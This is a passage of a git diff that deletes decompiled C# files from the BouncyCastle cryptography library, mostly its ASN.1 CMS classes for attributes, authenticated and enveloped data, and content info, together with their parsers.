Attribute(DerObjectIdentifier attrType, Asn1Set attrValues) - { - this.attrType = attrType; - this.attrValues = attrValues; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(attrType, attrValues); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AttributeTable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AttributeTable.cs deleted file mode 100644 index 8f534d8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AttributeTable.cs +++ /dev/null @@ -1,170 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class AttributeTable -{ - private readonly IDictionary attributes; - - public Attribute this[DerObjectIdentifier oid] - { - get - { - object obj = attributes[oid]; - if (obj is IList) - { - return (Attribute)((IList)obj)[0]; - } - return (Attribute)obj; - } - } - - public int Count - { - get - { - int num = 0; - foreach (object value in attributes.Values) - { - num = ((!(value is IList)) ? (num + 1) : (num + ((IList)value).Count)); - } - return num; - } - } - - [Obsolete] - public AttributeTable(Hashtable attrs) - { - attributes = Platform.CreateHashtable(attrs); - } - - public AttributeTable(IDictionary attrs) - { - attributes = Platform.CreateHashtable(attrs); - } - - public AttributeTable(Asn1EncodableVector v) - { - attributes = Platform.CreateHashtable(v.Count); - foreach (Asn1Encodable item in v) - { - Attribute instance = Attribute.GetInstance(item); - AddAttribute(instance); - } - } - - public AttributeTable(Asn1Set s) - { - attributes = Platform.CreateHashtable(s.Count); - for (int i = 0; i != s.Count; i++) - { - Attribute instance = Attribute.GetInstance(s[i]); - AddAttribute(instance); - } - } - - public AttributeTable(Attributes attrs) - : this(Asn1Set.GetInstance(attrs.ToAsn1Object())) - { - } - - private void AddAttribute(Attribute a) - { - DerObjectIdentifier attrType = a.AttrType; - object obj = attributes[attrType]; - if (obj == null) - { - attributes[attrType] = a; - return; - } - IList list; - if (obj is Attribute) - { - list = Platform.CreateArrayList(); - list.Add(obj); - list.Add(a); - } - else - { - list = (IList)obj; - list.Add(a); - } - attributes[attrType] = list; - } - - [Obsolete("Use 'object[oid]' syntax instead")] - public Attribute Get(DerObjectIdentifier oid) - { - return this[oid]; - } - - public Asn1EncodableVector GetAll(DerObjectIdentifier oid) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - object obj = attributes[oid]; - if (obj is IList) - { - foreach (Attribute item in (IList)obj) - { - asn1EncodableVector.Add(item); - } - } - else if (obj != null) - { - asn1EncodableVector.Add((Attribute)obj); - } - return asn1EncodableVector; - } - - public IDictionary ToDictionary() - { - return Platform.CreateHashtable(attributes); - } - - [Obsolete("Use 'ToDictionary' instead")] - public Hashtable ToHashtable() - { - return new Hashtable(attributes); - } - - public Asn1EncodableVector ToAsn1EncodableVector() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (object value in attributes.Values) - { - if (value is IList) - { - foreach (object item in (IList)value) - { - asn1EncodableVector.Add(Attribute.GetInstance(item)); - } - } - else - { - asn1EncodableVector.Add(Attribute.GetInstance(value)); - } - } - return asn1EncodableVector; - } - - public Attributes ToAttributes() - { - return new Attributes(ToAsn1EncodableVector()); - } - - public AttributeTable Add(DerObjectIdentifier attrType, Asn1Encodable attrValue) - { - AttributeTable attributeTable = new AttributeTable(attributes); - attributeTable.AddAttribute(new Attribute(attrType, new DerSet(attrValue))); - return attributeTable; - } - - public AttributeTable Remove(DerObjectIdentifier attrType) - { - AttributeTable attributeTable = new AttributeTable(attributes); - attributeTable.attributes.Remove(attrType); - return attributeTable; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Attributes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Attributes.cs deleted file mode 100644 index 9b4baec..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Attributes.cs +++ /dev/null @@ -1,44 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class Attributes : Asn1Encodable -{ - private readonly Asn1Set attributes; - - private Attributes(Asn1Set attributes) - { - this.attributes = attributes; - } - - public Attributes(Asn1EncodableVector v) - { - attributes = new BerSet(v); - } - - public static Attributes GetInstance(object obj) - { - if (obj is Attributes) - { - return (Attributes)obj; - } - if (obj != null) - { - return new Attributes(Asn1Set.GetInstance(obj)); - } - return null; - } - - public virtual Attribute[] GetAttributes() - { - Attribute[] array = new Attribute[attributes.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = Attribute.GetInstance(attributes[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return attributes; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthEnvelopedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthEnvelopedData.cs deleted file mode 100644 index 813918d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthEnvelopedData.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class AuthEnvelopedData : Asn1Encodable -{ - private DerInteger version; - - private OriginatorInfo originatorInfo; - - private Asn1Set recipientInfos; - - private EncryptedContentInfo authEncryptedContentInfo; - - private Asn1Set authAttrs; - - private Asn1OctetString mac; - - private Asn1Set unauthAttrs; - - public DerInteger Version => version; - - public OriginatorInfo OriginatorInfo => originatorInfo; - - public Asn1Set RecipientInfos => recipientInfos; - - public EncryptedContentInfo AuthEncryptedContentInfo => authEncryptedContentInfo; - - public Asn1Set AuthAttrs => authAttrs; - - public Asn1OctetString Mac => mac; - - public Asn1Set UnauthAttrs => unauthAttrs; - - public AuthEnvelopedData(OriginatorInfo originatorInfo, Asn1Set recipientInfos, EncryptedContentInfo authEncryptedContentInfo, Asn1Set authAttrs, Asn1OctetString mac, Asn1Set unauthAttrs) - { - version = new DerInteger(0); - this.originatorInfo = originatorInfo; - this.recipientInfos = recipientInfos; - this.authEncryptedContentInfo = authEncryptedContentInfo; - this.authAttrs = authAttrs; - this.mac = mac; - this.unauthAttrs = unauthAttrs; - } - - private AuthEnvelopedData(Asn1Sequence seq) - { - int num = 0; - Asn1Object asn1Object = seq[num++].ToAsn1Object(); - version = (DerInteger)asn1Object; - asn1Object = seq[num++].ToAsn1Object(); - if (asn1Object is Asn1TaggedObject) - { - originatorInfo = OriginatorInfo.GetInstance((Asn1TaggedObject)asn1Object, explicitly: false); - asn1Object = seq[num++].ToAsn1Object(); - } - recipientInfos = Asn1Set.GetInstance(asn1Object); - asn1Object = seq[num++].ToAsn1Object(); - authEncryptedContentInfo = EncryptedContentInfo.GetInstance(asn1Object); - asn1Object = seq[num++].ToAsn1Object(); - if (asn1Object is Asn1TaggedObject) - { - authAttrs = Asn1Set.GetInstance((Asn1TaggedObject)asn1Object, explicitly: false); - asn1Object = seq[num++].ToAsn1Object(); - } - mac = Asn1OctetString.GetInstance(asn1Object); - if (seq.Count > num) - { - asn1Object = seq[num++].ToAsn1Object(); - unauthAttrs = Asn1Set.GetInstance((Asn1TaggedObject)asn1Object, explicitly: false); - } - } - - public static AuthEnvelopedData GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static AuthEnvelopedData GetInstance(object obj) - { - if (obj == null || obj is AuthEnvelopedData) - { - return (AuthEnvelopedData)obj; - } - if (obj is Asn1Sequence) - { - return new AuthEnvelopedData((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid AuthEnvelopedData: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version); - if (originatorInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, originatorInfo)); - } - asn1EncodableVector.Add(recipientInfos, authEncryptedContentInfo); - if (authAttrs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, authAttrs)); - } - asn1EncodableVector.Add(mac); - if (unauthAttrs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, unauthAttrs)); - } - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthEnvelopedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthEnvelopedDataParser.cs deleted file mode 100644 index f3961ba..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthEnvelopedDataParser.cs +++ /dev/null @@ -1,107 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class AuthEnvelopedDataParser -{ - private Asn1SequenceParser seq; - - private DerInteger version; - - private IAsn1Convertible nextObject; - - private bool originatorInfoCalled; - - public DerInteger Version => version; - - public AuthEnvelopedDataParser(Asn1SequenceParser seq) - { - this.seq = seq; - version = (DerInteger)seq.ReadObject(); - } - - public OriginatorInfo GetOriginatorInfo() - { - originatorInfoCalled = true; - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject is Asn1TaggedObjectParser && ((Asn1TaggedObjectParser)nextObject).TagNo == 0) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)((Asn1TaggedObjectParser)nextObject).GetObjectParser(16, isExplicit: false); - nextObject = null; - return OriginatorInfo.GetInstance(asn1SequenceParser.ToAsn1Object()); - } - return null; - } - - public Asn1SetParser GetRecipientInfos() - { - if (!originatorInfoCalled) - { - GetOriginatorInfo(); - } - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - Asn1SetParser result = (Asn1SetParser)nextObject; - nextObject = null; - return result; - } - - public EncryptedContentInfoParser GetAuthEncryptedContentInfo() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject != null) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)nextObject; - nextObject = null; - return new EncryptedContentInfoParser(asn1SequenceParser); - } - return null; - } - - public Asn1SetParser GetAuthAttrs() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject is Asn1TaggedObjectParser) - { - IAsn1Convertible asn1Convertible = nextObject; - nextObject = null; - return (Asn1SetParser)((Asn1TaggedObjectParser)asn1Convertible).GetObjectParser(17, isExplicit: false); - } - return null; - } - - public Asn1OctetString GetMac() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - IAsn1Convertible asn1Convertible = nextObject; - nextObject = null; - return Asn1OctetString.GetInstance(asn1Convertible.ToAsn1Object()); - } - - public Asn1SetParser GetUnauthAttrs() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject != null) - { - IAsn1Convertible asn1Convertible = nextObject; - nextObject = null; - return (Asn1SetParser)((Asn1TaggedObjectParser)asn1Convertible).GetObjectParser(17, isExplicit: false); - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthenticatedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthenticatedData.cs deleted file mode 100644 index 30394aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthenticatedData.cs +++ /dev/null @@ -1,174 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class AuthenticatedData : Asn1Encodable -{ - private DerInteger version; - - private OriginatorInfo originatorInfo; - - private Asn1Set recipientInfos; - - private AlgorithmIdentifier macAlgorithm; - - private AlgorithmIdentifier digestAlgorithm; - - private ContentInfo encapsulatedContentInfo; - - private Asn1Set authAttrs; - - private Asn1OctetString mac; - - private Asn1Set unauthAttrs; - - public DerInteger Version => version; - - public OriginatorInfo OriginatorInfo => originatorInfo; - - public Asn1Set RecipientInfos => recipientInfos; - - public AlgorithmIdentifier MacAlgorithm => macAlgorithm; - - public AlgorithmIdentifier DigestAlgorithm => digestAlgorithm; - - public ContentInfo EncapsulatedContentInfo => encapsulatedContentInfo; - - public Asn1Set AuthAttrs => authAttrs; - - public Asn1OctetString Mac => mac; - - public Asn1Set UnauthAttrs => unauthAttrs; - - public AuthenticatedData(OriginatorInfo originatorInfo, Asn1Set recipientInfos, AlgorithmIdentifier macAlgorithm, AlgorithmIdentifier digestAlgorithm, ContentInfo encapsulatedContent, Asn1Set authAttrs, Asn1OctetString mac, Asn1Set unauthAttrs) - { - if ((digestAlgorithm != null || authAttrs != null) && (digestAlgorithm == null || authAttrs == null)) - { - throw new ArgumentException("digestAlgorithm and authAttrs must be set together"); - } - version = new DerInteger(CalculateVersion(originatorInfo)); - this.originatorInfo = originatorInfo; - this.macAlgorithm = macAlgorithm; - this.digestAlgorithm = digestAlgorithm; - this.recipientInfos = recipientInfos; - encapsulatedContentInfo = encapsulatedContent; - this.authAttrs = authAttrs; - this.mac = mac; - this.unauthAttrs = unauthAttrs; - } - - private AuthenticatedData(Asn1Sequence seq) - { - int num = 0; - version = (DerInteger)seq[num++]; - Asn1Encodable asn1Encodable = seq[num++]; - if (asn1Encodable is Asn1TaggedObject) - { - originatorInfo = OriginatorInfo.GetInstance((Asn1TaggedObject)asn1Encodable, explicitly: false); - asn1Encodable = seq[num++]; - } - recipientInfos = Asn1Set.GetInstance(asn1Encodable); - macAlgorithm = AlgorithmIdentifier.GetInstance(seq[num++]); - asn1Encodable = seq[num++]; - if (asn1Encodable is Asn1TaggedObject) - { - digestAlgorithm = AlgorithmIdentifier.GetInstance((Asn1TaggedObject)asn1Encodable, explicitly: false); - asn1Encodable = seq[num++]; - } - encapsulatedContentInfo = ContentInfo.GetInstance(asn1Encodable); - asn1Encodable = seq[num++]; - if (asn1Encodable is Asn1TaggedObject) - { - authAttrs = Asn1Set.GetInstance((Asn1TaggedObject)asn1Encodable, explicitly: false); - asn1Encodable = seq[num++]; - } - mac = Asn1OctetString.GetInstance(asn1Encodable); - if (seq.Count > num) - { - unauthAttrs = Asn1Set.GetInstance((Asn1TaggedObject)seq[num], explicitly: false); - } - } - - public static AuthenticatedData GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static AuthenticatedData GetInstance(object obj) - { - if (obj == null || obj is AuthenticatedData) - { - return (AuthenticatedData)obj; - } - if (obj is Asn1Sequence) - { - return new AuthenticatedData((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid AuthenticatedData: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version); - if (originatorInfo != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, originatorInfo)); - } - asn1EncodableVector.Add(recipientInfos, macAlgorithm); - if (digestAlgorithm != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, digestAlgorithm)); - } - asn1EncodableVector.Add(encapsulatedContentInfo); - if (authAttrs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 2, authAttrs)); - } - asn1EncodableVector.Add(mac); - if (unauthAttrs != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 3, unauthAttrs)); - } - return new BerSequence(asn1EncodableVector); - } - - public static int CalculateVersion(OriginatorInfo origInfo) - { - if (origInfo == null) - { - return 0; - } - int result = 0; - foreach (object certificate in origInfo.Certificates) - { - if (certificate is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)certificate; - if (asn1TaggedObject.TagNo == 2) - { - result = 1; - } - else if (asn1TaggedObject.TagNo == 3) - { - result = 3; - break; - } - } - } - foreach (object crl in origInfo.Crls) - { - if (crl is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject2 = (Asn1TaggedObject)crl; - if (asn1TaggedObject2.TagNo == 1) - { - result = 3; - break; - } - } - } - return result; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthenticatedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthenticatedDataParser.cs deleted file mode 100644 index 4917a39..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/AuthenticatedDataParser.cs +++ /dev/null @@ -1,139 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class AuthenticatedDataParser -{ - private Asn1SequenceParser seq; - - private DerInteger version; - - private IAsn1Convertible nextObject; - - private bool originatorInfoCalled; - - public DerInteger Version => version; - - public AuthenticatedDataParser(Asn1SequenceParser seq) - { - this.seq = seq; - version = (DerInteger)seq.ReadObject(); - } - - public OriginatorInfo GetOriginatorInfo() - { - originatorInfoCalled = true; - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject is Asn1TaggedObjectParser && ((Asn1TaggedObjectParser)nextObject).TagNo == 0) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)((Asn1TaggedObjectParser)nextObject).GetObjectParser(16, isExplicit: false); - nextObject = null; - return OriginatorInfo.GetInstance(asn1SequenceParser.ToAsn1Object()); - } - return null; - } - - public Asn1SetParser GetRecipientInfos() - { - if (!originatorInfoCalled) - { - GetOriginatorInfo(); - } - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - Asn1SetParser result = (Asn1SetParser)nextObject; - nextObject = null; - return result; - } - - public AlgorithmIdentifier GetMacAlgorithm() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject != null) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)nextObject; - nextObject = null; - return AlgorithmIdentifier.GetInstance(asn1SequenceParser.ToAsn1Object()); - } - return null; - } - - public AlgorithmIdentifier GetDigestAlgorithm() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject is Asn1TaggedObjectParser) - { - AlgorithmIdentifier instance = AlgorithmIdentifier.GetInstance((Asn1TaggedObject)nextObject.ToAsn1Object(), explicitly: false); - nextObject = null; - return instance; - } - return null; - } - - public ContentInfoParser GetEnapsulatedContentInfo() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject != null) - { - Asn1SequenceParser asn1SequenceParser = (Asn1SequenceParser)nextObject; - nextObject = null; - return new ContentInfoParser(asn1SequenceParser); - } - return null; - } - - public Asn1SetParser GetAuthAttrs() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject is Asn1TaggedObjectParser) - { - IAsn1Convertible asn1Convertible = nextObject; - nextObject = null; - return (Asn1SetParser)((Asn1TaggedObjectParser)asn1Convertible).GetObjectParser(17, isExplicit: false); - } - return null; - } - - public Asn1OctetString GetMac() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - IAsn1Convertible asn1Convertible = nextObject; - nextObject = null; - return Asn1OctetString.GetInstance(asn1Convertible.ToAsn1Object()); - } - - public Asn1SetParser GetUnauthAttrs() - { - if (nextObject == null) - { - nextObject = seq.ReadObject(); - } - if (nextObject != null) - { - IAsn1Convertible asn1Convertible = nextObject; - nextObject = null; - return (Asn1SetParser)((Asn1TaggedObjectParser)asn1Convertible).GetObjectParser(17, isExplicit: false); - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CmsAttributes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CmsAttributes.cs deleted file mode 100644 index 07bf028..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CmsAttributes.cs +++ /dev/null @@ -1,16 +0,0 @@ -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Asn1.Cms; - -public abstract class CmsAttributes -{ - public static readonly DerObjectIdentifier ContentType = PkcsObjectIdentifiers.Pkcs9AtContentType; - - public static readonly DerObjectIdentifier MessageDigest = PkcsObjectIdentifiers.Pkcs9AtMessageDigest; - - public static readonly DerObjectIdentifier SigningTime = PkcsObjectIdentifiers.Pkcs9AtSigningTime; - - public static readonly DerObjectIdentifier CounterSignature = PkcsObjectIdentifiers.Pkcs9AtCounterSignature; - - public static readonly DerObjectIdentifier ContentHint = PkcsObjectIdentifiers.IdAAContentHint; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CmsObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CmsObjectIdentifiers.cs deleted file mode 100644 index 4cb2504..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CmsObjectIdentifiers.cs +++ /dev/null @@ -1,32 +0,0 @@ -using Org.BouncyCastle.Asn1.Pkcs; - -namespace Org.BouncyCastle.Asn1.Cms; - -public abstract class CmsObjectIdentifiers -{ - public static readonly DerObjectIdentifier Data = PkcsObjectIdentifiers.Data; - - public static readonly DerObjectIdentifier SignedData = PkcsObjectIdentifiers.SignedData; - - public static readonly DerObjectIdentifier EnvelopedData = PkcsObjectIdentifiers.EnvelopedData; - - public static readonly DerObjectIdentifier SignedAndEnvelopedData = PkcsObjectIdentifiers.SignedAndEnvelopedData; - - public static readonly DerObjectIdentifier DigestedData = PkcsObjectIdentifiers.DigestedData; - - public static readonly DerObjectIdentifier EncryptedData = PkcsObjectIdentifiers.EncryptedData; - - public static readonly DerObjectIdentifier AuthenticatedData = PkcsObjectIdentifiers.IdCTAuthData; - - public static readonly DerObjectIdentifier CompressedData = PkcsObjectIdentifiers.IdCTCompressedData; - - public static readonly DerObjectIdentifier AuthEnvelopedData = PkcsObjectIdentifiers.IdCTAuthEnvelopedData; - - public static readonly DerObjectIdentifier timestampedData = PkcsObjectIdentifiers.IdCTTimestampedData; - - public static readonly DerObjectIdentifier id_ri = new DerObjectIdentifier("1.3.6.1.5.5.7.16"); - - public static readonly DerObjectIdentifier id_ri_ocsp_response = id_ri.Branch("2"); - - public static readonly DerObjectIdentifier id_ri_scvp = id_ri.Branch("4"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CompressedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CompressedData.cs deleted file mode 100644 index 8fed8c4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CompressedData.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class CompressedData : Asn1Encodable -{ - private DerInteger version; - - private AlgorithmIdentifier compressionAlgorithm; - - private ContentInfo encapContentInfo; - - public DerInteger Version => version; - - public AlgorithmIdentifier CompressionAlgorithmIdentifier => compressionAlgorithm; - - public ContentInfo EncapContentInfo => encapContentInfo; - - public CompressedData(AlgorithmIdentifier compressionAlgorithm, ContentInfo encapContentInfo) - { - version = new DerInteger(0); - this.compressionAlgorithm = compressionAlgorithm; - this.encapContentInfo = encapContentInfo; - } - - public CompressedData(Asn1Sequence seq) - { - version = (DerInteger)seq[0]; - compressionAlgorithm = AlgorithmIdentifier.GetInstance(seq[1]); - encapContentInfo = ContentInfo.GetInstance(seq[2]); - } - - public static CompressedData GetInstance(Asn1TaggedObject ato, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(ato, explicitly)); - } - - public static CompressedData GetInstance(object obj) - { - if (obj == null || obj is CompressedData) - { - return (CompressedData)obj; - } - if (obj is Asn1Sequence) - { - return new CompressedData((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid CompressedData: " + Platform.GetTypeName(obj)); - } - - public override Asn1Object ToAsn1Object() - { - return new BerSequence(version, compressionAlgorithm, encapContentInfo); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CompressedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CompressedDataParser.cs deleted file mode 100644 index 39acc8d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/CompressedDataParser.cs +++ /dev/null @@ -1,28 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class CompressedDataParser -{ - private DerInteger _version; - - private AlgorithmIdentifier _compressionAlgorithm; - - private ContentInfoParser _encapContentInfo; - - public DerInteger Version => _version; - - public AlgorithmIdentifier CompressionAlgorithmIdentifier => _compressionAlgorithm; - - public CompressedDataParser(Asn1SequenceParser seq) - { - _version = (DerInteger)seq.ReadObject(); - _compressionAlgorithm = AlgorithmIdentifier.GetInstance(seq.ReadObject().ToAsn1Object()); - _encapContentInfo = new ContentInfoParser((Asn1SequenceParser)seq.ReadObject()); - } - - public ContentInfoParser GetEncapContentInfo() - { - return _encapContentInfo; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ContentInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ContentInfo.cs deleted file mode 100644 index c6f592a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ContentInfo.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class ContentInfo : Asn1Encodable -{ - private readonly DerObjectIdentifier contentType; - - private readonly Asn1Encodable content; - - public DerObjectIdentifier ContentType => contentType; - - public Asn1Encodable Content => content; - - public static ContentInfo GetInstance(object obj) - { - if (obj == null || obj is ContentInfo) - { - return (ContentInfo)obj; - } - if (obj is Asn1Sequence) - { - return new ContentInfo((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj)); - } - - public static ContentInfo GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - private ContentInfo(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 2) - { - throw new ArgumentException("Bad sequence size: " + seq.Count, "seq"); - } - contentType = (DerObjectIdentifier)seq[0]; - if (seq.Count > 1) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[1]; - if (!asn1TaggedObject.IsExplicit() || asn1TaggedObject.TagNo != 0) - { - throw new ArgumentException("Bad tag for 'content'", "seq"); - } - content = asn1TaggedObject.GetObject(); - } - } - - public ContentInfo(DerObjectIdentifier contentType, Asn1Encodable content) - { - this.contentType = contentType; - this.content = content; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(contentType); - if (content != null) - { - asn1EncodableVector.Add(new BerTaggedObject(0, content)); - } - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ContentInfoParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ContentInfoParser.cs deleted file mode 100644 index 453cdb4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/ContentInfoParser.cs +++ /dev/null @@ -1,25 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class ContentInfoParser -{ - private DerObjectIdentifier contentType; - - private Asn1TaggedObjectParser content; - - public DerObjectIdentifier ContentType => contentType; - - public ContentInfoParser(Asn1SequenceParser seq) - { - contentType = (DerObjectIdentifier)seq.ReadObject(); - content = (Asn1TaggedObjectParser)seq.ReadObject(); - } - - public IAsn1Convertible GetContent(int tag) - { - if (content == null) - { - return null; - } - return content.GetObjectParser(tag, isExplicit: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Ecc/MQVuserKeyingMaterial.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Ecc/MQVuserKeyingMaterial.cs deleted file mode 100644 index 7be954b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Ecc/MQVuserKeyingMaterial.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms.Ecc; - -public class MQVuserKeyingMaterial : Asn1Encodable -{ - private OriginatorPublicKey ephemeralPublicKey; - - private Asn1OctetString addedukm; - - public OriginatorPublicKey EphemeralPublicKey => ephemeralPublicKey; - - public Asn1OctetString AddedUkm => addedukm; - - public MQVuserKeyingMaterial(OriginatorPublicKey ephemeralPublicKey, Asn1OctetString addedukm) - { - this.ephemeralPublicKey = ephemeralPublicKey; - this.addedukm = addedukm; - } - - private MQVuserKeyingMaterial(Asn1Sequence seq) - { - ephemeralPublicKey = OriginatorPublicKey.GetInstance(seq[0]); - if (seq.Count > 1) - { - addedukm = Asn1OctetString.GetInstance((Asn1TaggedObject)seq[1], isExplicit: true); - } - } - - public static MQVuserKeyingMaterial GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public static MQVuserKeyingMaterial GetInstance(object obj) - { - if (obj == null || obj is MQVuserKeyingMaterial) - { - return (MQVuserKeyingMaterial)obj; - } - if (obj is Asn1Sequence) - { - return new 